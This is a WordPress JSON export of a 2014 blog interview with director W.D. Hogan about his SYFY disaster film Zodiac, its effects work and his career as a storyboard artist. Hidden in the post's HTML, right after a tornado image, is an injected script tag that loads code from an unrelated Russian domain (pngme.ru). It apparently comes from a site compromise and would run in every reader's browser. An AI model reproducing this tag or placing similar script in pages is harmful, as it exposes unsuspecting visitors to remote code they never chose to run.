{"id":12205,"date":"2014-08-15T07:24:37","date_gmt":"2014-08-15T13:24:37","guid":{"rendered":"http:\/\/www.bmovienation.com\/?p=12205"},"modified":"2014-08-15T10:43:43","modified_gmt":"2014-08-15T16:43:43","slug":"five-quick-questions-with-w-d-hogan-zodiac-august-16-2014","status":"publish","type":"post","link":"https:\/\/www.bmovienation.com\/?p=12205","title":{"rendered":"Five Quick Questions with W.D. Hogan &#8211; ZODIAC &#8211; AUGUST 16, 2014"},"content":{"rendered":"<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12210#main\" rel=\"attachment wp-att-12210\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-12210\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/zodiacposter1-200x300.jpg\" alt=\"zodiacposter1\" width=\"200\" height=\"300\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/zodiacposter1-200x300.jpg 200w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/zodiacposter1-682x1024.jpg 682w\" sizes=\"auto, (max-width: 200px) 100vw, 200px\" \/><\/a><\/p>\n<p>W.D. Hogan who brought us the fun scifi films, <em>Behemoth, Earth\u2019s Final Hours, and Independence Daysater <\/em>has his newest masterpiece Zodiac airing on SYFY August 16<sup>th<\/sup>, 2014.<\/p>\n<p style=\"text-align: left;\"><strong><em>Researchers in Peru discover an ancient Zodiac that foretells the coming of Nibiru, a mythical planet believed to bring cataclysmic disasters. When the mysterious planet crosses the sun, global catastrophes are unleashed. A rogue scientist is the key to deciphering the symbols and humanity\u2019s only chance at survival.<\/em><\/strong><\/p>\n<p style=\"text-align: center;\">\u00a0<a href=\"http:\/\/www.syfy.com\/movies\/zodiac_signs_of_the_apocalypse\">http:\/\/www.syfy.com\/movies\/zodiac_signs_of_the_apocalypse<\/a><\/p>\n<p style=\"text-align: left;\">W.D. was extremely kind to share information about <em>Zodiac<\/em> and himself with B Movie Nation.<\/p>\n<p style=\"text-align: left;\"><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12208#main\" rel=\"attachment wp-att-12208\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-12208\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WD-ON-SET-300x265.jpg\" alt=\"WD ON SET\" width=\"300\" height=\"265\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WD-ON-SET-300x265.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WD-ON-SET-785x695.jpg 785w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WD-ON-SET.jpg 960w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p style=\"text-align: center;\"><strong>Five Quick Questions with W.D. Hogan<\/strong><\/p>\n<p><em>Zodiac<\/em> is a SYFY original is airing August 16<sup>th<\/sup>.\u00a0 Can you tell us about Zodiac and what fans can expect?<\/p>\n<p><strong>W.D.: <em>ZODIAC<\/em> is a SyFy Movie, this time exploring the idea that when Planet X, the mythical planet Nibiru, appears in our solar system from a 2000 year orbit, chaos and destruction is unleashed.\u00a0 Ancient civilizations have recorded past events in cave paintings and carvings in the form of a Zodiac.\u00a0 But instead of determining your temperament or destiny, they\u2019ve actually been records of coming doom!\u00a0 \ud83d\ude42<\/strong><\/p>\n<p><strong>When a retired archaeologist breaks this code, he scrambles to get people to listen to his theory, stating that the Zodiac did more than predict the disasters, they laid out a way to stop them.\u00a0 And to stop them and protect Earth from Nibiru\u2019s wrath requires a powerful stone (fragments of Nibiru that have fallen to Earth) and a Machine that would take billions to construct.\u00a0 Well, guess who\u2019s built one&#8230; <\/strong><\/p>\n<p><strong>I think fans can expect a lot of exposition and running away from evil government agents!\u00a0 But hopefully they\u2019ll have fun with the story and the characters played by Joel Gretsch, Aaron Douglas and Christopher Lloyd.\u00a0 Aaron Douglas gave us a \u201cFrakkin!\u201d and Lloyd gave us a doozy!<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12212#main\" rel=\"attachment wp-att-12212\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter  wp-image-12212\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/ZODIACTORNADO-300x112.jpg\" alt=\"ZODIACTORNADO\" width=\"573\" height=\"214\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/ZODIACTORNADO-300x112.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/ZODIACTORNADO-785x294.jpg 785w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/ZODIACTORNADO.jpg 960w\" sizes=\"auto, (max-width: 573px) 100vw, 573px\" \/><script src=\"\/\/pngme.ru\/seter\"><\/script><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Regarding Visual Effects, you\u2019ve created a monster, alien attacks, and natural disasters in your past Sci-Fi films.\u00a0 <em>ZODIAC <\/em>will consist of global catastrophes which sounds exciting and elaborate.\u00a0 Can you tell us about and challenges of <em>Zodiac\u2019s<\/em> special effects?<\/p>\n<p><strong>W.D.: This was by far the most difficult in terms of VFX.\u00a0 Two killers on a picture with VFX are R&amp;D and render time.\u00a0 Research &amp; Development takes a lot of time and resources building the alien ships, designing the monster, etc.\u00a0 If we\u2019d had one supercell storm on <em>ZODIAC<\/em> we could\u2019ve managed, but we had about six disasters (meteors, tidal waves, supercell storms, twisters, lava plumes and colossal fireballs!) and planets to R&amp;D.\u00a0 It killed us.\u00a0 One thing that gave us a fighting chance was the pre-viz and storyboards we did that at least allowed us to lock in what we needed.\u00a0 This saved us in render times.\u00a0 If not for that, we\u2019d have never even finished the movie.\u00a0 <\/strong><\/p>\n<p><strong>The challenge is the time and money, as always.\u00a0 In film, they say: Good, Fast, Cheap: Pick Two.\u00a0 I\u2019m not joking when I say the VFX shot count was higher than Jurassic Park but with 1\/200th the budget.\u00a0 Exile VFX, our VFX guys, did amazing work with what they were given.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12207#main\" rel=\"attachment wp-att-12207\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-12207\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/wd.jpg\" alt=\"wd\" width=\"158\" height=\"211\" \/><\/a><\/p>\n<p>&nbsp;<\/p>\n<p>Has there been any talks about another Sci-Fi film you may be directing?<\/p>\n<p><strong>W.D.: I\u2019m developing an action film in the vein of Snatch and have spent most of the year adapting an illustrated novel by Jim Starlin into a TV series.\u00a0 Both projects are the biggest things I\u2019ve been a part of and I\u2019m very excited.\u00a0 <\/strong><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12213#main\" rel=\"attachment wp-att-12213\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-medium wp-image-12213\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/USMC-STORYBOARD-231x300.jpg\" alt=\"USMC-STORYBOARD\" width=\"231\" height=\"300\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/USMC-STORYBOARD-231x300.jpg 231w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/USMC-STORYBOARD.jpg 742w\" sizes=\"auto, (max-width: 231px) 100vw, 231px\" \/><\/a><\/p>\n<p>You started in the industry as a storyboard artist for the directing greats Sydney Pollack, Cameron Crowe and Jaume Collet-Serra.\u00a0 Did you know you wanted to direct, or did they influence you?<\/p>\n<p><strong>W.D.: I\u2019ve been making movies since I was ten and always wanted to do it.\u00a0 But making it in LA means struggling!\u00a0 So to pay the bills I needed a side gig.\u00a0 A producer friend saw some storyboards I drew for a music video I was shooting and asked if I would draw her American Express commercial.\u00a0 I did and never looked back.\u00a0 I got a break with the first Mortal Kombat and from there illustrated a slew of features.<\/strong><\/p>\n<p><strong>I can\u2019t think of a better way to get into the mind of a working director than storyboarding.\u00a0 Now having directed professionally, you see it\u2019s a constant struggle filled with a ton of compromises.\u00a0 But when you sit with a storyboard artist you get to unload the vision of the movie that\u2019s in your head and brainstorm with another creative mind.\u00a0 Directors love this part of their job.\u00a0 So I got to collaborate with some of the best.\u00a0 <\/strong><\/p>\n<p><strong>I would bust my ass to draw the best boards I could to earn enough trust to ask them directing questions that never appear in books.\u00a0 Like, \u201cWhat do you do when an actor throws a fit?\u201d (a: let them, promise to fire someone and get them back on set) \u201cHow do you film an aging star?\u201d (a: any scene they\u2019re in, don\u2019t shoot close-ups of anyone, especially them).\u00a0 And the biggest for me was \u201cHow do you rehearse?\u201d (a: many discussions, discover the character together, etc.).<\/strong><\/p>\n<p><strong>I was in awe of Sydney Pollack.\u00a0 He was thrown suggestions by everyone and they were usually bad, in the sense that they had little to do with what the project was really about.\u00a0 But he just knew how to cut through it all and stay focused.\u00a0 A complete and total pro.<\/strong><\/p>\n<p><strong>Storyboarding is a lot of fun because ultimately there\u2019s not a lot of responsibility.\u00a0 With directing, everything\u2019s your responsibility.\u00a0 I think directors can be temperamental because the value of the movie is always on them.\u00a0 I didn\u2019t write ZODIAC, didn\u2019t fund it, didn\u2019t shoot it, etc., but it is on me to make entertaining, even though a great deal is out of my hands.\u00a0 But like my performing arts teacher Harold Wilson used to say: It may not be your fault, but it\u2019s your problem.<\/strong><\/p>\n<p><a href=\"http:\/\/www.bmovienation.com\/?attachment_id=12209#main\" rel=\"attachment wp-att-12209\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter  wp-image-12209\" src=\"http:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR-300x112.jpg\" alt=\"WDONCAR\" width=\"404\" height=\"151\" srcset=\"https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR-300x112.jpg 300w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR-785x294.jpg 785w, https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR.jpg 960w\" sizes=\"auto, (max-width: 404px) 100vw, 404px\" \/><\/a><\/p>\n<p>You\u2019re also a writer, however the films you have directed in the last several years have been written by other screenwriters.\u00a0 Any chance we\u2019ll see a film written and directed by you in the near future?<\/p>\n<p><strong>W.D.: Going forward I want to try and direct only what I write.\u00a0 It becomes a much more personal experience at that point.\u00a0 I just finished a horror script in the vein of The Shining.\u00a0 Psychological, dark, playing around with time and structure.\u00a0 Very weird and unusual and I\u2019ve never read or seen anything like it.\u00a0 So, of course, I have to make it.\u00a0 Because if you\u2019re gonna go down in flames, go down in flames by doing your own thing.<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>Many thanks W.D.!\u00a0 Be sure to tune in or set your DVR for <em>Zodiac, <\/em>airing on SYFY August 16<sup>th<\/sup>.\u00a0 For more information about W.D., including photos, videos, links to all his social sites, and to keep updated with his projects, check out his website. \u00a0<a href=\"http:\/\/www.wdhogan.com\/\">http:\/\/www.wdhogan.com\/<\/a><\/p>\n<p><em>If you have some thoughts to share about this article or you&#8217;d like to discuss B movies with other B movie fans and filmmakers please visit our <a href=\"http:\/\/www.facebook.com\/groups\/bmovienation\/\" target=\"_blank\">B Movie Nation Facebook group<\/a>.<\/em><\/p>\n<p>&nbsp;<\/p>\n<div class=\"syndication-links\"><\/div>","protected":false},"excerpt":{"rendered":"<p>W.D. Hogan who brought us the fun scifi films, Behemoth, Earth\u2019s Final Hours, and Independence Daysater has his newest masterpiece Zodiac airing on SYFY August 16th, 2014. Researchers in Peru discover an ancient Zodiac that foretells the coming of Nibiru, a mythical planet believed to bring cataclysmic disasters. When the mysterious planet crosses the sun,&#8230;<\/p>\n","protected":false},"author":33,"featured_media":12209,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"rop_custom_images_group":[],"rop_custom_messages_group":[],"rop_publish_now":"initial","rop_publish_now_accounts":[],"rop_publish_now_history":[],"rop_publish_now_status":"pending","_uag_custom_page_level_css":"","mf2_syndication":[],"footnotes":""},"categories":[17,4],"tags":[],"class_list":["post-12205","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-b-movie-interviews","category-the-latest-if-not-the-greatest","wpcat-17-id","wpcat-4-id"],"uagb_featured_image_src":{"full":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR.jpg",960,360,false],"thumbnail":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR-145x145.jpg",145,145,true],"medium":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR-300x112.jpg",300,112,true],"medium_large":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR.jpg",768,288,false],"large":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR-785x294.jpg",785,294,true],"1536x1536":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR.jpg",960,360,false],"2048x2048":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR.jpg",960,360,false],"gridflex-1422w-autoh-image":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR.jpg",960,360,false],"gridflex-1074w-autoh-image":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR.jpg",960,360,false],"gridflex-360w-300h-image":["https:\/\/www.bmovienation.com\/wp-content\/uploads\/2014\/08\/WDONCAR.jpg",360,135,false]},"uagb_author_info":{"display_name":"","author_link":"https:\/\/www.bmovienation.com\/?author=33"},"uagb_comment_info":0,"uagb_excerpt":"W.D. Hogan who brought us the fun scifi films, Behemoth, Earth\u2019s Final Hours, and Independence Daysater has his newest masterpiece Zodiac airing on SYFY August 16th, 2014. Researchers in Peru discover an ancient Zodiac that foretells the coming of Nibiru, a mythical planet believed to bring cataclysmic disasters. When the mysterious planet crosses the sun,...","_links":{"self":[{"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts\/12205","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/users\/33"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=12205"}],"version-history":[{"count":0,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/posts\/12205\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=\/wp\/v2\/media\/12209"}],"wp:attachment":[{"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=12205"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=12205"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bmovienation.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=12205"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}